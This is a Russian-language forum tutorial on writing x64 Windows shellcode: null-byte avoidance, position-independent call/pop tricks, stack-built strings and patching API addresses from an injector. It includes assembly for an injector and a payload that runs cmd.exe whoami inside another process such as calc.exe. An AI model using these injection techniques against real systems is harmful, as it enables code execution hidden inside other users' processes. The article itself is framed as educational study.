Статья ASM. Заметки о программировании шелл-кодов

Шелл - это небольшой фрагмент машинного кода, используемый в качестве пайлоада при эксплуатации уязвимостей прог.обеспечения. В чистом виде в легальной разработке не используется, однако принципы его создания применяются и в законных областях, например: тестирование на проникновение (пентест), ИБ-анализ и разработка антивирусов (чтобы научить защиту ловить малварь), реверс и отладка, а так-же JIT-компиляция кода на лету в браузерах с JS-движками, хотя делают это они через защищённые механизмы ОС, а не через инъекции. Более того, если придерживаться простого правила "Не возможно защищать код, не зная как его ломают", то смысл в изучении шеллов всё-же есть.

Оглавление:
1. Вводная часть​
2. Компактность - как избавиться от нулевых байт​
3. Проблемы переносимости кода (динамический патчинг шаблонов)
4. Выводы​



1. Вводная часть

Создание шеллкодов - целая наука, постичь которую дано не каждому. Он не знает заранее куда попадёт, а потому должен уметь выживать в любых условиях, адаптируясь под конкретную ОС. Таким образом проблема "нумбер ван" - реализовать переносимость, когда код полностью абстрагирован от особенностей программного обеспечения.

Здесь нужно отметить, что мы имеем дело с машинными инструкциями, которые жёстко привязаны именно к ЦП. От сюда следует, что полностью переносимым шелл не может быть по определению, если только не запихать в него экземпляры для всех имеющихся в природе архитектур процессоров. Поэтому условимся называть переносимым код, который будет поддерживать только заданную линейку ОС, в данном случае Win7-11 с CPU х86_64 на борту. В конце концов, гораздо проще написать сдесяток узкоспециализированных тушек, чем одну универсальную.

Основное требование - код должен быть компактным, полностью перемещаем в памяти (т.е. сохранять свой функционал при любом расположении, Position-Independent Code PIC), и использовать минимум системно-зависимых служебных структур, закладываясь лишь на документированные из них. Забудьте о хитрых трюках и андок возможностях - всё это негативно сказывается на переносимости и фактически ничего не даёт взамен. Здесь всё должно быть по взрослому, иначе при первой-же высадке десанта на вражескую территорию, в лучшем случае он попадёт в плен, а в худшем подорвётся на собственной мине, забрав с собой на тот свет и приложение-матку.

Кстати о жертве, от имени которой будет исполняться шелл. Инжект подразумевает полностью идентичное приложение. К примеру, недопустимо внедрять классический Win32 шелл, в созданный в фреймворке .NET шарповский байт-код. Это относится и к современным приложениям UWP (Universal Windows Platform начиная с Win10). Ну с управляемым байт-кодом CIL всё ясно - он полностью не совместим, если на этапе компиляции не использовал технологию "Native AOT", а знать мы этого заранее не можем. Но что не так с UWP?

Проблема в том, что пространство памяти UWP и классических Win32-приложений различается уровнем изоляции и ограничением системных квот. Хотя оба типа приложений используют единую вирт.память Win, UWP работает внутри изолированного бокса "AppContainer" с жёстким контролем ресурсов. Вот их основные отличия:

Win32: Каждое приложение имеет своё адресное пространство, но процессы запускаются с правами текущего пользователя и могут получить доступ к файлам, реестру или памяти других процессов при наличии нужного уровня целостности "Integrity Level". Размер памяти приложения ограничен лишь ОЗУ и файлом подкачки. Несколько программ могут свободно использовать общую Mapped-память, обмениваться сообщениями SendMessage() или напрямую обращаться к чужому пространству через дескрипторы.​
UWP: Приложения работают в изолированной песочнице. Доступ к памяти других процессов жёстко заблокирован на уровне ядра. Для UWP действуют строгие лимиты на память в зависимости от объёма ОЗУ и текущего состояния окна. Если окно свёрнуто в трей и находится в фоне, память его освобождается. Превышение лимита приводит к принудительной выгрузке и завершению процесса. Для обмена данными разрешено использовать только спец Runtime-механизмы (например, AppServices), или строго контролируемые каналы Pipe.​

Поэтому первое, что должен сделать инжектор шеллкода - это найти подходящую жертву среди активных процессов. Определить, является ли PE-файл приложением .NET довольно просто - нужно всего лишь проверить наличие записи(14) "COM Runtime Descriptor" в каталоге IMAGE_DATA_DIRECTORIES. Другой вариант - это чекнуть импорт либы mscoree.dll и функцию _CorExeMain() в ней, которая является точкой-входа в .NET приложение и инициализирует среду выполнения CLR "Common Language Runtime".

PeNet.webp

А вот с UWP дела обстоят немного иначе, т.к. РЕ-заголовки их практически ничем не отличаются. Идентификация сводится к вызову функции GetPackageFamilyName() из Kernel32.dll - если приложение UWP/AppX, в свой буфер API вернёт имя пакета, например "Microsoft.WindowsCalculator_8wekyb3d8bbwe", иначе ошибку APPMODEL_ERROR_NO_PACKAGE = 0x3D54.


2. Компактность - как избавиться от нулевых байт

В большинстве источников утверждается, что первое правило при кодировании шеллкодов - это удалить из него все запрещённые символы, в число которых входят и двоичные нули. При этом в качестве аргумента приводится сишная функция strcpy(), которая копирует одну текстовую строку в другую. Она берёт символы из ячеек памяти источника и переносит их в ячейки приёмника, пока не встретит знак конца строки(\0x00) в источнике. Таким образом, при копировании шеллкода в память процесса-жертвы, встретив нуль функция может обрезать его, оставив хвост произвольной длины на месте:

C-подобный:
strcpy(
  destination,   // адрес приёмника
  source         // адрес источника с нулевым символом в конце
);

Но здесь не понятно, кому придёт в голову копировать бинарную тушку шелла как строку, ведь для этого предусмотрена спец.функция memcpy(), параметр "count" которой выступает в качестве счётчика байт:

C-подобный:
memcpy(
  destination,   // адрес приёмника
  source,        // адрес источника
  count          // кол-во байт для копирования
);

Значит проблема нулей носит иной характер, тем более что полностью искоренить их нельзя хотя-бы потому, что нули эти могут являться частью вирт.адреса или целого числа, например 8800A500h. C другой стороны, если шелл передаётся по сети через протокол HTTP, бинарный нуль оказывается запрещённым в теле POST, и пайлоад придётся кодировать в Base64, а для этого нужно таскать с собой декодер. Так-что удаляя нули мы делаем код устойчивым к неизвестным условиям окружения. В общем правило довольно правильное, и паразитные HEX-нули это скорее избыточность в коде, от которой желательно избавляться.

2.1. Инструкции переходов и вызовов

Концепция шеллов заключается в том, чтобы ни при каких условиях не использовать абсолютные адреса, иначе о перемещаемости кода в памяти не может быть и речи. Код должен оперировать исключительно относительными адресами, а если учесть, что адресация у проциков х86 в 64-битном режиме всегда RIP-относительная, это играет нам на руку. Здесь и далее разговор будет идти только о режиме х64.

Возьмём, к примеру, инструкции условных Jxx прыжков, как основу любого кода с ветвлениями. Они имеют 2 формы кодирования: с операндом 1-байт, и с операндом в 4-байтный дворд. В обоих случаях это число со-знаком, а потому инструкции могут осуществлять прыжки как вперёд, так и назад. При положительном значении операнда 00..7F короткая форма способна прыгать джампами на расстояние 128-байт вперёд от текущего RIP, а при отрицательном значении 80..FF переходить назад на такое-же смещение. Зато "прыгучесть" длинной формы с 4-байтным операндом увеличивается сразу до 2 Гбайт вперёд/назад - компиль вставляет её для условных переходов за пределы 128-байтных блоков памяти.

Opcode.webp

Что касается инструкций безусловных переходов JMP и CALL - здесь всё аналогично, только CALL не имеет 1-байтной формы, и в режиме х64 его операнд всегда размером в 32-битный дворд. В некоторых (описанных ниже) случаях это напрягает и приходится искать обходные пути.

Чтобы прощупать почву под ногами, первым делом шелл должен узнать адрес в вирт.памяти, куда его забросила судьба. Для этого используют природу инструкции call, которая перед непосредственным переходом забрасывает на макушку стека адрес-возврата в лице регистра RIP. Если сразу снять со-стека этот адрес инструкцией pop в любой из регистров общего назначения RAX..R15, в нём окажется текущий адрес в памяти.

В примере ниже видно, что call вперёд порождает опкод E8.02000000, а это аж три паразитных нуля, поскольку операнд 0x00000002 положительный. Чтобы избавиться от этих нулей, можно прыгнуть короткой формой джампа(2) сначала вперёд, а потом уже через call назад, в результате чего операнд изменится на(-), и нули превратятся в FFFFFFh. Напомню, что спец.символ @f указывает на первую безымянную метку @@ после себя (forward, вперёд).

Код:
start:  sub     rsp,8
        call    @f    ;<---- под катом [push rsp]
        nop
        nop
@@:     pop     rax   ;<---- RAX = адрес возврата!

        jmp     @f
@01:    pop     rax
        nop
        nop
        jmp     @02
@@:     call    @01
@02:    nop
;-------------------------------------------
(1)
00402000 | 48:83EC 08       | sub     rsp, 8
00402004 | E8 02000000      | call    40200B  ;<--- операнд у E8 положительный = прыжок вперёд
00402009 | 90               | nop
0040200A | 90               | nop
0040200B | 58               | pop     rax     ;<--- RAX = 402009
(2)
0040200C | EB 05            | jmp     402013
0040200E | 58               | pop     rax     ;<--- RAX = 402018

0040200F | 90               | nop     ;<----------- место под тушку шеллкода
00402010 | 90               | nop
00402011 | EB 05            | jmp     402018

00402013 | E8 F6FFFFFF      | call    40200E  ;<--- операнд у E8 отрицательный = прыжок назад
00402018 | 90               | nop

В некоторых случаях шеллкоду нужно получить смещение от своего начала - это т.н. "Дельта-смещение", т.е. разница между текущим адресом и точкой-входа. Вычисляется она аналогично:

Код:
        call    shellDelta
        db      8 dup(0)
shellDelta:
        sub     qword[rsp],shellDelta
        neg     qword[rsp]       ;<---- в стеке лежит длина = 8 байт

2.2. Нуль-терминальные строки, и аргументы функций

Проблема текстовых строк в шеллкодах стоит остро, поскольку львиная доля полезных API ожидает их в параметрах, например CreateProcess() или альтернатива WinExec() для запуска приложений, CreateFile() или _lopen() для операций с файлами, LoadLibrary() и GetProcAddress() для загрузки DLL и поиска в них функций, RegOpenKey() для операций с реестром, и многое другое. Мало того, что строки при этом должны заканчиваться двоичным нулём, так ещё и хранить их в открытом виде небезопасно, т.к. шелла на входе в адресное пространство чужих процессов ждёт жёсткий фейс-контроль.

Релевантное и оправданное со всех сторон решение - это вообще не хранить текст в своей тушке, а создавать его по мере необходимости прямо на лету. Хранить строки лучше в стеке, отправляя их фрагментами по 8-байт в 64-битных регистрах через push. Так мы убиваем сразу 2 зайца - нет терминальных нулей в бинарнике, плюс системные сторожа не смогут уже раскусить план наших действий. Пример запуска консоли с параметром может выглядеть так - cmd.exe /k dir (длина строки 14 байт):

Код:
start:  sub     rsp,8
        mov     rax,'cmd.exe '   ;// RAX = первые 8-байт строки
        mov     rbx,'/k dir'     ;// RBX = параметр для запуска cmd.exe
        push    rbx              ;// помещаем в стек в обратном порядке,
        push    rax              ;// ...чтобы сформировать полную строку.

        mov     rcx,rsp          ;// передаём аргументы функции WinAPI
        push    5                ;// mov edx,5 сгенерит в опкодах 3 нуля,
        pop     rdx              ;// ...а вот push/pop - нет.
        invoke  WinExec,rcx,rdx
        add     rsp,8*2          ;// восстановить стек от пушей строки

;------------------------------------------------------------
0000000000402000 | 48:83EC 08                | sub     rsp, 8
0000000000402004 | 48:B8 636D642E65786520    | mov     rax, 206578652E646D63
000000000040200E | 48:BB 2F6B206469720000    | mov     rbx, 0000726964206B2F
0000000000402018 | 53                        | push    rbx
0000000000402019 | 50                        | push    rax

000000000040201A | 48:89E1                   | mov     rcx, rsp
000000000040201D | 6A 05                     | push    5
000000000040201F | 5A                        | pop     rdx
0000000000402020 | 48:83EC 20                | sub     rsp, 20
0000000000402024 | FF15 BE100000             | call    [<WinExec>]
000000000040202A | 48:83C4 20                | add     rsp, 20
000000000040202E | 48:83C4 10                | add     rsp, 10

Большинство WinAPI принимают в качестве параметров описываемые в инклудах константы, которые мы должны передавать в регистрах или через стек. Здесь опять всплывает проблема паразитных нулей, поскольку размеры констант варьируются в широких пределах от 1 до 4 байт. Вот лишь некоторые из них:

Код:
GENERIC_READ      = 80000000h    PROCESS_TERMINATE       = 00000001h
GENERIC_WRITE     = 40000000h    PROCESS_CREATE_THREAD   = 00000002h
GENERIC_EXECUTE   = 20000000h    PROCESS_VM_OPERATION    = 00000008h
GENERIC_ALL       = 10000000h    PROCESS_VM_READ         = 00000010h
FILE_SHARE_READ   = 00000001h    PROCESS_VM_WRITE        = 00000020h
FILE_SHARE_WRITE  = 00000002h    PROCESS_DUP_HANDLE      = 00000040h
FILE_SHARE_DELETE = 00000004h    PROCESS_CREATE_PROCESS  = 00000080h

Когда компилятор кодирует инструкцию пересылки MOV, важную роль играет размер первого операнда-приёмника. Поэтому MOV EAX,1 займёт в памяти 5-байт с тремя паразитными нулями, а MOV AL,1 всего 2-байта уже без паразитов, поскольку регистр AL размером в байт. Компактной является так-же запись в регистры через стек push/pop, т.к. компилятор сам выбирает здесь наиболее короткую форму. Ниже несколько примеров альтернативного кодирования парами (дефолт + оптимизированный вариант), а который из них выбрать - решать вам:

Код:
0000000000402004 | 48:B8 0000000078563412      | mov     rax, 1234567800000000
000000000040200E | B8 78563412                 | mov     eax, 12345678
0000000000402013 | 48:C1E0 20                  | shl     rax, 20

0000000000402017 | 48:B8 0000008000000000      | mov     rax, 80000000
0000000000402021 | 31C0                        | xor     eax, eax
0000000000402023 | B0 80                       | mov      al, 80
0000000000402025 | C1E0 18                     | shl     eax, 18

0000000000402028 | 48:C7C0 34120000            | mov     rax, 1234
000000000040202F | 31C0                        | xor     eax, eax
0000000000402031 | 66:B8 3412                  | mov      ax, 1234

0000000000402035 | B8 20000000                 | mov     eax, 20
000000000040203A | 31C0                        | xor     eax, eax
000000000040203C | B0 20                       | mov      al, 20

000000000040203E | 6A 20                       | push    20
0000000000402040 | 58                          | pop     rax


3. Переносимость WinAPI - динамический патчинг шаблонов

Ещё одна проблема при создании шеллкодов связана с поиском адресов API из системных DLL, ведь код без них будет представлять собой вещь в себе. Как упоминалось выше - это работа с файлами, реестром, диском, сетью, и т.д. Адреса API-функций пляшут в пьяную не только в каждой версии системных библиотек (удаляются старые и добавляются новые функции), но с приходом механизма ASLR меняются даже после каждой перезагрузки Win. Поэтому искать их приходится динамически, и каждый выкручивается здесь по своему.

За время существования Win вариантов было придумано не мало - всё сводится к тому, чтобы вычислить базу Kernel32.dll в памяти, и найти в её экспорте функции LoadLibrary() + GetProcAddress(). Вот список алгоритмов от простого к сложному:

1. Глобальный поиск базы Kernel32.dll в памяти по MZ и РЕ-сигнатуре.​
2. Парсинг структуры PEB_LDR процесса, куда загрузчик образов сохраняет базы всех импортированных DLL.​
3. Раскрутка стека исключений SEH/VEH, где прописан адрес дефолтного обработчика ошибок системы из Kernel32.​
4. Вызов NativeAPI через syscall, для чего потребуется большая база номеров системных сервисов для всех версий Win.​

Всё это сложно, вообще без маскировки, и раздувает шелл до размеров слона.
Но если посмотреть на проблему немного с другого ракурса, то наружу всплывают вполне очевидные вещи.

Известно, что Ntdll и Kernel32.dll загружаются буквально во все пользовательские процессы, причём всегда по одинаковому адресу! То есть база Kernel32.dll любого из удалённых процессов, будет равна базе в нашем собственном. В этой DLL можно найти почти все нужные шеллу функции, за исключением сетевых. Суть в том, что собирать тело шеллкода нужно не заранее, а на лету из своего процесса-инжектора. Тогда без разницы, на какую ОС Win7/10/11 попадёт наш код, и адреса API мы получим всегда валидные. Вот пример инжектора с полуфабрикатом-шеллом на борту в секции данных. После патча прямо из секции кода инжектора, он станет готовым к употреблению:

C-подобный:
section 'data' data readable writeable

;// Тушка шелла с завершением выделенного потока
shell:  push    rbp                    ;// выравним стек треда на 16-байт (общее правило для х64)
        call    @f
        db      'cmd.exe /k whoami /priv',0
@@:     pop     rcx                    ;// RCX = адрес строки (первый аргумент WinExec)
        push    5 
        pop     rdx                    ;// RDX = второй аргумент = SHOW_NORMAL
        sub     rsp,20h
        call    qword[WinExecAddr]     ;// вызов API WinExec()
        xor     ecx,ecx
        call    qword[ExitThreadAddr]  ;// прибить тред шелла!
        add     rsp,20h

;// Абсолютные адреса API в памяти (тоже внутри шелла)
align 8                  ;// обязательное выравнивание в памяти
WinExecAddr      dq  0   ;// массив адресов API - в дефолте все нуль
ExitThreadAddr   dq  0
LoadLibraryAddr  dq  0
GetProcAddr      dq  0
CreateFileAddr   dq  0
DeviceIoCtlAddr  dq  0
;//......        добавить нужные

shellSize  = $ - shell

;//-------------
section '.text' code readable executable  ;//<---- секция кода
start:  sub     rsp,8

;// 1. Заполняем динамически массив адресов в шеллкоде
        mov     rax, [WinExec]            ;// абсолютные адреса API в вирт.памяти
        mov     rbx, [ExitThread]         ;// берём из своего импорта
        mov     rcx, [LoadLibrary]
        mov     rdx, [GetProcAddress]
        mov     rsi, [CreateFile]
        mov     rdi, [DeviceIoControl]

        mov     [WinExecAddr],    rax
        mov     [ExitThreadAddr], rbx
        mov     [LoadLibraryAddr],rcx
        mov     [GetProcAddr],    rdx
        mov     [CreateFileAddr], rsi
        mov     [DevIoCtlAddr],   rdi

;// 2. Теперь в шеллкоде правильные адреса именно для данной системы.
;// Когда он попадёт на другую ОС, мы автоматически пересоберём его заново.
;// Копируем теперь уже готовую тушку в проекцию памяти
        mov     rdi, [localAddress]
        mov     esi, shell
        mov     ecx, shellSize
        rep     movsb

Я тестировал на своих Win7/10 и семпл отрабатывает вполне корректно, стартуя консоль cmd.exe с параметром запроса привилегий whoami/priv. В качестве удалённого процесса я выбрал здесь встроенный в мастдай калькулятор, и если посмотреть на родителя-Parent консольного окна в утилите "ProcessHacker", то обнаружим именно calc.exe, чего в реальной обстановке быть в принципе не может (у калькулятора нет встроенной функции запуска процессов).

Result.webp


4. Выводы

Программировать шеллы не только полезно, но и интересно. Единственное правило - соблюдать закон, и не распростронять вредоносов! Оттачивайте навыки от простого к сложному строго на своей машине и даже не пытайтесь атаковать чужие. Оправдывает себя поиск дыр в защищённых приложениях Win32, с последующей отправкой логов авторам, за что вам могут сказать спасибо и даже подкинуть шекелей. В общем всё должно быть в легальном ключе, тогда и спать будете спокойней.

В скрепку положил безобидный инжектор для тестов - ожидает PID удалённого процесса (см.диспетчер задач), и просто запускает cmd.exe от его имени. Жертва должна быть классическим приложением х64. Всем удачи, пока!
 

Вложения

Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab